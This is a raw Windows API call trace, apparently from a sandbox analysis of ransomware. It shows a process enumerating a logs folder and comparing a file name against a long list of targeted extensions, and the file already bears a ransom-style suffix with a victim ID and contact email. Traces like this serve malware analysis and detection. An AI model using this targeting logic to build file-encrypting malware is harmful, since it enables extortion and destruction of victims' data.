[0205.452] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0205.452] lstrlenW (lpString="Logs") returned 4 [0205.452] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0205.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.452] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0205.452] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.454] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="..", cAlternateFileName="")) returned 1 [0205.454] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb097e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6eb097e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DOWNLE~1.SAV")) returned 1 [0205.454] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save") returned 72 [0205.454] lstrlenW (lpString=".1cd") returned 4 [0205.454] lstrcmpiW (lpString1=".1cd", lpString2="save") returned -1 [0205.454] lstrlenW (lpString=".3ds") returned 4 [0205.454] lstrcmpiW (lpString1=".3ds", lpString2="save") returned -1 [0205.454] lstrlenW (lpString=".3fr") returned 4 [0205.454] lstrcmpiW (lpString1=".3fr", lpString2="save") returned -1 [0205.454] lstrlenW (lpString=".3g2") returned 4 [0205.454] lstrcmpiW (lpString1=".3g2", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".3gp") returned 4 [0205.455] lstrcmpiW (lpString1=".3gp", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".7z") returned 3 [0205.455] lstrcmpiW (lpString1=".7z", lpString2="ave") returned -1 [0205.455] lstrlenW (lpString=".accda") returned 6 [0205.455] lstrcmpiW (lpString1=".accda", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".accdb") returned 6 [0205.455] lstrcmpiW (lpString1=".accdb", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".accdc") returned 6 [0205.455] lstrcmpiW (lpString1=".accdc", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".accde") returned 6 [0205.455] lstrcmpiW (lpString1=".accde", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".accdt") returned 6 [0205.455] lstrcmpiW (lpString1=".accdt", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".accdw") returned 6 [0205.455] lstrcmpiW (lpString1=".accdw", lpString2="].save") returned -1 [0205.455] lstrlenW (lpString=".adb") returned 4 [0205.455] lstrcmpiW (lpString1=".adb", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".adp") returned 4 [0205.455] lstrcmpiW (lpString1=".adp", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".ai") returned 3 [0205.455] lstrcmpiW (lpString1=".ai", lpString2="ave") returned -1 [0205.455] lstrlenW (lpString=".ai3") returned 4 [0205.455] lstrcmpiW (lpString1=".ai3", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".ai4") returned 4 [0205.455] lstrcmpiW (lpString1=".ai4", lpString2="save") returned -1 [0205.455] lstrlenW (lpString=".ai5") returned 4 [0205.456] lstrcmpiW (lpString1=".ai5", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".ai6") returned 4 [0205.456] lstrcmpiW (lpString1=".ai6", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".ai7") returned 4 [0205.456] lstrcmpiW (lpString1=".ai7", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".ai8") returned 4 [0205.456] lstrcmpiW (lpString1=".ai8", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".anim") returned 5 [0205.456] lstrcmpiW (lpString1=".anim", lpString2=".save") returned -1 [0205.456] lstrlenW (lpString=".arw") returned 4 [0205.456] lstrcmpiW (lpString1=".arw", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".as") returned 3 [0205.456] lstrcmpiW (lpString1=".as", lpString2="ave") returned -1 [0205.456] lstrlenW (lpString=".asa") returned 4 [0205.456] lstrcmpiW (lpString1=".asa", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".asc") returned 4 [0205.456] lstrcmpiW (lpString1=".asc", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".ascx") returned 5 [0205.456] lstrcmpiW (lpString1=".ascx", lpString2=".save") returned -1 [0205.456] lstrlenW (lpString=".asm") returned 4 [0205.456] lstrcmpiW (lpString1=".asm", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".asmx") returned 5 [0205.456] lstrcmpiW (lpString1=".asmx", lpString2=".save") returned -1 [0205.456] lstrlenW (lpString=".asp") returned 4 [0205.456] lstrcmpiW (lpString1=".asp", lpString2="save") returned -1 [0205.456] lstrlenW (lpString=".aspx") returned 5 [0205.456] lstrcmpiW (lpString1=".aspx", lpString2=".save") returned -1 [0205.457] lstrlenW (lpString=".asr") returned 4 [0205.457] lstrcmpiW (lpString1=".asr", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".asx") returned 4 [0205.457] lstrcmpiW (lpString1=".asx", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".avi") returned 4 [0205.457] lstrcmpiW (lpString1=".avi", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".avs") returned 4 [0205.457] lstrcmpiW (lpString1=".avs", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".backup") returned 7 [0205.457] lstrcmpiW (lpString1=".backup", lpString2="m].save") returned -1 [0205.457] lstrlenW (lpString=".bak") returned 4 [0205.457] lstrcmpiW (lpString1=".bak", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".bay") returned 4 [0205.457] lstrcmpiW (lpString1=".bay", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".bd") returned 3 [0205.457] lstrcmpiW (lpString1=".bd", lpString2="ave") returned -1 [0205.457] lstrlenW (lpString=".bin") returned 4 [0205.457] lstrcmpiW (lpString1=".bin", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".bmp") returned 4 [0205.457] lstrcmpiW (lpString1=".bmp", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".bz2") returned 4 [0205.457] lstrcmpiW (lpString1=".bz2", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".c") returned 2 [0205.457] lstrcmpiW (lpString1=".c", lpString2="ve") returned -1 [0205.457] lstrlenW (lpString=".cdr") returned 4 [0205.457] lstrcmpiW (lpString1=".cdr", lpString2="save") returned -1 [0205.457] lstrlenW (lpString=".cer") returned 4 [0205.457] lstrcmpiW (lpString1=".cer", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".cf") returned 3 [0205.458] lstrcmpiW (lpString1=".cf", lpString2="ave") returned -1 [0205.458] lstrlenW (lpString=".cfc") returned 4 [0205.458] lstrcmpiW (lpString1=".cfc", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".cfm") returned 4 [0205.458] lstrcmpiW (lpString1=".cfm", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".cfml") returned 5 [0205.458] lstrcmpiW (lpString1=".cfml", lpString2=".save") returned -1 [0205.458] lstrlenW (lpString=".cfu") returned 4 [0205.458] lstrcmpiW (lpString1=".cfu", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".chm") returned 4 [0205.458] lstrcmpiW (lpString1=".chm", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".cin") returned 4 [0205.458] lstrcmpiW (lpString1=".cin", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".class") returned 6 [0205.458] lstrcmpiW (lpString1=".class", lpString2="].save") returned -1 [0205.458] lstrlenW (lpString=".clx") returned 4 [0205.458] lstrcmpiW (lpString1=".clx", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".config") returned 7 [0205.458] lstrcmpiW (lpString1=".config", lpString2="m].save") returned -1 [0205.458] lstrlenW (lpString=".cpp") returned 4 [0205.458] lstrcmpiW (lpString1=".cpp", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".cr2") returned 4 [0205.458] lstrcmpiW (lpString1=".cr2", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".crt") returned 4 [0205.458] lstrcmpiW (lpString1=".crt", lpString2="save") returned -1 [0205.458] lstrlenW (lpString=".crw") returned 4 [0205.459] lstrcmpiW (lpString1=".crw", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".cs") returned 3 [0205.459] lstrcmpiW (lpString1=".cs", lpString2="ave") returned -1 [0205.459] lstrlenW (lpString=".css") returned 4 [0205.459] lstrcmpiW (lpString1=".css", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".csv") returned 4 [0205.459] lstrcmpiW (lpString1=".csv", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".cub") returned 4 [0205.459] lstrcmpiW (lpString1=".cub", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dae") returned 4 [0205.459] lstrcmpiW (lpString1=".dae", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dat") returned 4 [0205.459] lstrcmpiW (lpString1=".dat", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".db") returned 3 [0205.459] lstrcmpiW (lpString1=".db", lpString2="ave") returned -1 [0205.459] lstrlenW (lpString=".dbf") returned 4 [0205.459] lstrcmpiW (lpString1=".dbf", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dbx") returned 4 [0205.459] lstrcmpiW (lpString1=".dbx", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dc3") returned 4 [0205.459] lstrcmpiW (lpString1=".dc3", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dcm") returned 4 [0205.459] lstrcmpiW (lpString1=".dcm", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".dcr") returned 4 [0205.459] lstrcmpiW (lpString1=".dcr", lpString2="save") returned -1 [0205.459] lstrlenW (lpString=".der") returned 4 [0205.459] lstrcmpiW (lpString1=".der", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".dib") returned 4 [0205.460] lstrcmpiW (lpString1=".dib", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".dic") returned 4 [0205.460] lstrcmpiW (lpString1=".dic", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".dif") returned 4 [0205.460] lstrcmpiW (lpString1=".dif", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".divx") returned 5 [0205.460] lstrcmpiW (lpString1=".divx", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".djvu") returned 5 [0205.460] lstrcmpiW (lpString1=".djvu", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".dng") returned 4 [0205.460] lstrcmpiW (lpString1=".dng", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".doc") returned 4 [0205.460] lstrcmpiW (lpString1=".doc", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".docm") returned 5 [0205.460] lstrcmpiW (lpString1=".docm", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".docx") returned 5 [0205.460] lstrcmpiW (lpString1=".docx", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".dot") returned 4 [0205.460] lstrcmpiW (lpString1=".dot", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".dotm") returned 5 [0205.460] lstrcmpiW (lpString1=".dotm", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".dotx") returned 5 [0205.460] lstrcmpiW (lpString1=".dotx", lpString2=".save") returned -1 [0205.460] lstrlenW (lpString=".dpx") returned 4 [0205.460] lstrcmpiW (lpString1=".dpx", lpString2="save") returned -1 [0205.460] lstrlenW (lpString=".dqy") returned 4 [0205.461] lstrcmpiW (lpString1=".dqy", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".dsn") returned 4 [0205.461] lstrcmpiW (lpString1=".dsn", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".dt") returned 3 [0205.461] lstrcmpiW (lpString1=".dt", lpString2="ave") returned -1 [0205.461] lstrlenW (lpString=".dtd") returned 4 [0205.461] lstrcmpiW (lpString1=".dtd", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".dwg") returned 4 [0205.461] lstrcmpiW (lpString1=".dwg", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".dwt") returned 4 [0205.461] lstrcmpiW (lpString1=".dwt", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".dx") returned 3 [0205.461] lstrcmpiW (lpString1=".dx", lpString2="ave") returned -1 [0205.461] lstrlenW (lpString=".dxf") returned 4 [0205.461] lstrcmpiW (lpString1=".dxf", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".edml") returned 5 [0205.461] lstrcmpiW (lpString1=".edml", lpString2=".save") returned -1 [0205.461] lstrlenW (lpString=".efd") returned 4 [0205.461] lstrcmpiW (lpString1=".efd", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".elf") returned 4 [0205.461] lstrcmpiW (lpString1=".elf", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".emf") returned 4 [0205.461] lstrcmpiW (lpString1=".emf", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".emz") returned 4 [0205.461] lstrcmpiW (lpString1=".emz", lpString2="save") returned -1 [0205.461] lstrlenW (lpString=".epf") returned 4 [0205.461] lstrcmpiW (lpString1=".epf", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".eps") returned 4 [0205.462] lstrcmpiW (lpString1=".eps", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".epsf") returned 5 [0205.462] lstrcmpiW (lpString1=".epsf", lpString2=".save") returned -1 [0205.462] lstrlenW (lpString=".epsp") returned 5 [0205.462] lstrcmpiW (lpString1=".epsp", lpString2=".save") returned -1 [0205.462] lstrlenW (lpString=".erf") returned 4 [0205.462] lstrcmpiW (lpString1=".erf", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".exr") returned 4 [0205.462] lstrcmpiW (lpString1=".exr", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".f4v") returned 4 [0205.462] lstrcmpiW (lpString1=".f4v", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".fido") returned 5 [0205.462] lstrcmpiW (lpString1=".fido", lpString2=".save") returned -1 [0205.462] lstrlenW (lpString=".flm") returned 4 [0205.462] lstrcmpiW (lpString1=".flm", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".flv") returned 4 [0205.462] lstrcmpiW (lpString1=".flv", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".frm") returned 4 [0205.462] lstrcmpiW (lpString1=".frm", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".fxg") returned 4 [0205.462] lstrcmpiW (lpString1=".fxg", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".geo") returned 4 [0205.462] lstrcmpiW (lpString1=".geo", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".gif") returned 4 [0205.462] lstrcmpiW (lpString1=".gif", lpString2="save") returned -1 [0205.462] lstrlenW (lpString=".grs") returned 4 [0205.462] lstrcmpiW (lpString1=".grs", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".gz") returned 3 [0205.463] lstrcmpiW (lpString1=".gz", lpString2="ave") returned -1 [0205.463] lstrlenW (lpString=".h") returned 2 [0205.463] lstrcmpiW (lpString1=".h", lpString2="ve") returned -1 [0205.463] lstrlenW (lpString=".hdr") returned 4 [0205.463] lstrcmpiW (lpString1=".hdr", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".hpp") returned 4 [0205.463] lstrcmpiW (lpString1=".hpp", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".hta") returned 4 [0205.463] lstrcmpiW (lpString1=".hta", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".htc") returned 4 [0205.463] lstrcmpiW (lpString1=".htc", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".htm") returned 4 [0205.463] lstrcmpiW (lpString1=".htm", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".html") returned 5 [0205.463] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0205.463] lstrlenW (lpString=".icb") returned 4 [0205.463] lstrcmpiW (lpString1=".icb", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".ics") returned 4 [0205.463] lstrcmpiW (lpString1=".ics", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".iff") returned 4 [0205.463] lstrcmpiW (lpString1=".iff", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".inc") returned 4 [0205.463] lstrcmpiW (lpString1=".inc", lpString2="save") returned -1 [0205.463] lstrlenW (lpString=".indd") returned 5 [0205.463] lstrcmpiW (lpString1=".indd", lpString2=".save") returned -1 [0205.463] lstrlenW (lpString=".ini") returned 4 [0205.464] lstrcmpiW (lpString1=".ini", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".iqy") returned 4 [0205.464] lstrcmpiW (lpString1=".iqy", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".j2c") returned 4 [0205.464] lstrcmpiW (lpString1=".j2c", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".j2k") returned 4 [0205.464] lstrcmpiW (lpString1=".j2k", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".java") returned 5 [0205.464] lstrcmpiW (lpString1=".java", lpString2=".save") returned -1 [0205.464] lstrlenW (lpString=".jp2") returned 4 [0205.464] lstrcmpiW (lpString1=".jp2", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".jpc") returned 4 [0205.464] lstrcmpiW (lpString1=".jpc", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".jpe") returned 4 [0205.464] lstrcmpiW (lpString1=".jpe", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".jpeg") returned 5 [0205.464] lstrcmpiW (lpString1=".jpeg", lpString2=".save") returned -1 [0205.464] lstrlenW (lpString=".jpf") returned 4 [0205.464] lstrcmpiW (lpString1=".jpf", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".jpg") returned 4 [0205.464] lstrcmpiW (lpString1=".jpg", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".jpx") returned 4 [0205.464] lstrcmpiW (lpString1=".jpx", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".js") returned 3 [0205.464] lstrcmpiW (lpString1=".js", lpString2="ave") returned -1 [0205.464] lstrlenW (lpString=".jsf") returned 4 [0205.464] lstrcmpiW (lpString1=".jsf", lpString2="save") returned -1 [0205.464] lstrlenW (lpString=".json") returned 5 [0205.465] lstrcmpiW (lpString1=".json", lpString2=".save") returned -1 [0205.465] lstrlenW (lpString=".jsp") returned 4 [0205.465] lstrcmpiW (lpString1=".jsp", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".kdc") returned 4 [0205.465] lstrcmpiW (lpString1=".kdc", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".kmz") returned 4 [0205.465] lstrcmpiW (lpString1=".kmz", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".kwm") returned 4 [0205.465] lstrcmpiW (lpString1=".kwm", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".lasso") returned 6 [0205.465] lstrcmpiW (lpString1=".lasso", lpString2="].save") returned -1 [0205.465] lstrlenW (lpString=".lbi") returned 4 [0205.465] lstrcmpiW (lpString1=".lbi", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".lgf") returned 4 [0205.465] lstrcmpiW (lpString1=".lgf", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".lgp") returned 4 [0205.465] lstrcmpiW (lpString1=".lgp", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".log") returned 4 [0205.465] lstrcmpiW (lpString1=".log", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".m1v") returned 4 [0205.465] lstrcmpiW (lpString1=".m1v", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".m4a") returned 4 [0205.465] lstrcmpiW (lpString1=".m4a", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".m4v") returned 4 [0205.465] lstrcmpiW (lpString1=".m4v", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".max") returned 4 [0205.465] lstrcmpiW (lpString1=".max", lpString2="save") returned -1 [0205.465] lstrlenW (lpString=".md") returned 3 [0205.466] lstrcmpiW (lpString1=".md", lpString2="ave") returned -1 [0205.466] lstrlenW (lpString=".mda") returned 4 [0205.466] lstrcmpiW (lpString1=".mda", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mdb") returned 4 [0205.466] lstrcmpiW (lpString1=".mdb", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mde") returned 4 [0205.466] lstrcmpiW (lpString1=".mde", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mdf") returned 4 [0205.466] lstrcmpiW (lpString1=".mdf", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mdw") returned 4 [0205.466] lstrcmpiW (lpString1=".mdw", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mef") returned 4 [0205.466] lstrcmpiW (lpString1=".mef", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mft") returned 4 [0205.466] lstrcmpiW (lpString1=".mft", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mfw") returned 4 [0205.466] lstrcmpiW (lpString1=".mfw", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mht") returned 4 [0205.466] lstrcmpiW (lpString1=".mht", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mhtml") returned 6 [0205.466] lstrcmpiW (lpString1=".mhtml", lpString2="].save") returned -1 [0205.466] lstrlenW (lpString=".mka") returned 4 [0205.466] lstrcmpiW (lpString1=".mka", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mkidx") returned 6 [0205.466] lstrcmpiW (lpString1=".mkidx", lpString2="].save") returned -1 [0205.466] lstrlenW (lpString=".mkv") returned 4 [0205.466] lstrcmpiW (lpString1=".mkv", lpString2="save") returned -1 [0205.466] lstrlenW (lpString=".mos") returned 4 [0205.467] lstrcmpiW (lpString1=".mos", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mov") returned 4 [0205.467] lstrcmpiW (lpString1=".mov", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mp3") returned 4 [0205.467] lstrcmpiW (lpString1=".mp3", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mp4") returned 4 [0205.467] lstrcmpiW (lpString1=".mp4", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mpeg") returned 5 [0205.467] lstrcmpiW (lpString1=".mpeg", lpString2=".save") returned -1 [0205.467] lstrlenW (lpString=".mpg") returned 4 [0205.467] lstrcmpiW (lpString1=".mpg", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mpv") returned 4 [0205.467] lstrcmpiW (lpString1=".mpv", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mrw") returned 4 [0205.467] lstrcmpiW (lpString1=".mrw", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".msg") returned 4 [0205.467] lstrcmpiW (lpString1=".msg", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".mxl") returned 4 [0205.467] lstrcmpiW (lpString1=".mxl", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".myd") returned 4 [0205.467] lstrcmpiW (lpString1=".myd", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".myi") returned 4 [0205.467] lstrcmpiW (lpString1=".myi", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".nef") returned 4 [0205.467] lstrcmpiW (lpString1=".nef", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".nrw") returned 4 [0205.467] lstrcmpiW (lpString1=".nrw", lpString2="save") returned -1 [0205.467] lstrlenW (lpString=".obj") returned 4 [0205.468] lstrcmpiW (lpString1=".obj", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".odb") returned 4 [0205.468] lstrcmpiW (lpString1=".odb", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".odc") returned 4 [0205.468] lstrcmpiW (lpString1=".odc", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".odm") returned 4 [0205.468] lstrcmpiW (lpString1=".odm", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".odp") returned 4 [0205.468] lstrcmpiW (lpString1=".odp", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".ods") returned 4 [0205.468] lstrcmpiW (lpString1=".ods", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".oft") returned 4 [0205.468] lstrcmpiW (lpString1=".oft", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".one") returned 4 [0205.468] lstrcmpiW (lpString1=".one", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".onepkg") returned 7 [0205.468] lstrcmpiW (lpString1=".onepkg", lpString2="m].save") returned -1 [0205.468] lstrlenW (lpString=".onetoc2") returned 8 [0205.468] lstrcmpiW (lpString1=".onetoc2", lpString2="om].save") returned -1 [0205.468] lstrlenW (lpString=".opt") returned 4 [0205.468] lstrcmpiW (lpString1=".opt", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".oqy") returned 4 [0205.468] lstrcmpiW (lpString1=".oqy", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".orf") returned 4 [0205.468] lstrcmpiW (lpString1=".orf", lpString2="save") returned -1 [0205.468] lstrlenW (lpString=".p12") returned 4 [0205.468] lstrcmpiW (lpString1=".p12", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".p7b") returned 4 [0205.469] lstrcmpiW (lpString1=".p7b", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".p7c") returned 4 [0205.469] lstrcmpiW (lpString1=".p7c", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pam") returned 4 [0205.469] lstrcmpiW (lpString1=".pam", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pbm") returned 4 [0205.469] lstrcmpiW (lpString1=".pbm", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pct") returned 4 [0205.469] lstrcmpiW (lpString1=".pct", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pcx") returned 4 [0205.469] lstrcmpiW (lpString1=".pcx", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pdd") returned 4 [0205.469] lstrcmpiW (lpString1=".pdd", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pdf") returned 4 [0205.469] lstrcmpiW (lpString1=".pdf", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pdp") returned 4 [0205.469] lstrcmpiW (lpString1=".pdp", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pef") returned 4 [0205.469] lstrcmpiW (lpString1=".pef", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pem") returned 4 [0205.469] lstrcmpiW (lpString1=".pem", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pff") returned 4 [0205.469] lstrcmpiW (lpString1=".pff", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pfm") returned 4 [0205.469] lstrcmpiW (lpString1=".pfm", lpString2="save") returned -1 [0205.469] lstrlenW (lpString=".pfx") returned 4 [0205.469] lstrcmpiW (lpString1=".pfx", lpString2="save") returned -1 [0205.470] lstrlenW (lpString=".pgm") returned 4 [0205.470] lstrcmpiW (lpString1=".pgm", lpString2="save") returned -1 [0205.470] lstrlenW (lpString=".php") returned 4 [0205.471] lstrcmpiW (lpString1=".php", lpString2="save") returned -1 [0205.471] lstrlenW (lpString=".php3") returned 5 [0205.471] lstrcmpiW (lpString1=".php3", lpString2=".save") returned -1 [0205.471] lstrlenW (lpString=".php4") returned 5 [0205.471] lstrcmpiW (lpString1=".php4", lpString2=".save") returned -1 [0205.471] lstrlenW (lpString=".php5") returned 5 [0205.471] lstrcmpiW (lpString1=".php5", lpString2=".save") returned -1 [0205.471] lstrlenW (lpString=".phtml") returned 6 [0205.471] lstrcmpiW (lpString1=".phtml", lpString2="].save") returned -1 [0205.471] lstrlenW (lpString=".pict") returned 5 [0205.471] lstrcmpiW (lpString1=".pict", lpString2=".save") returned -1 [0205.471] lstrlenW (lpString=".pl") returned 3 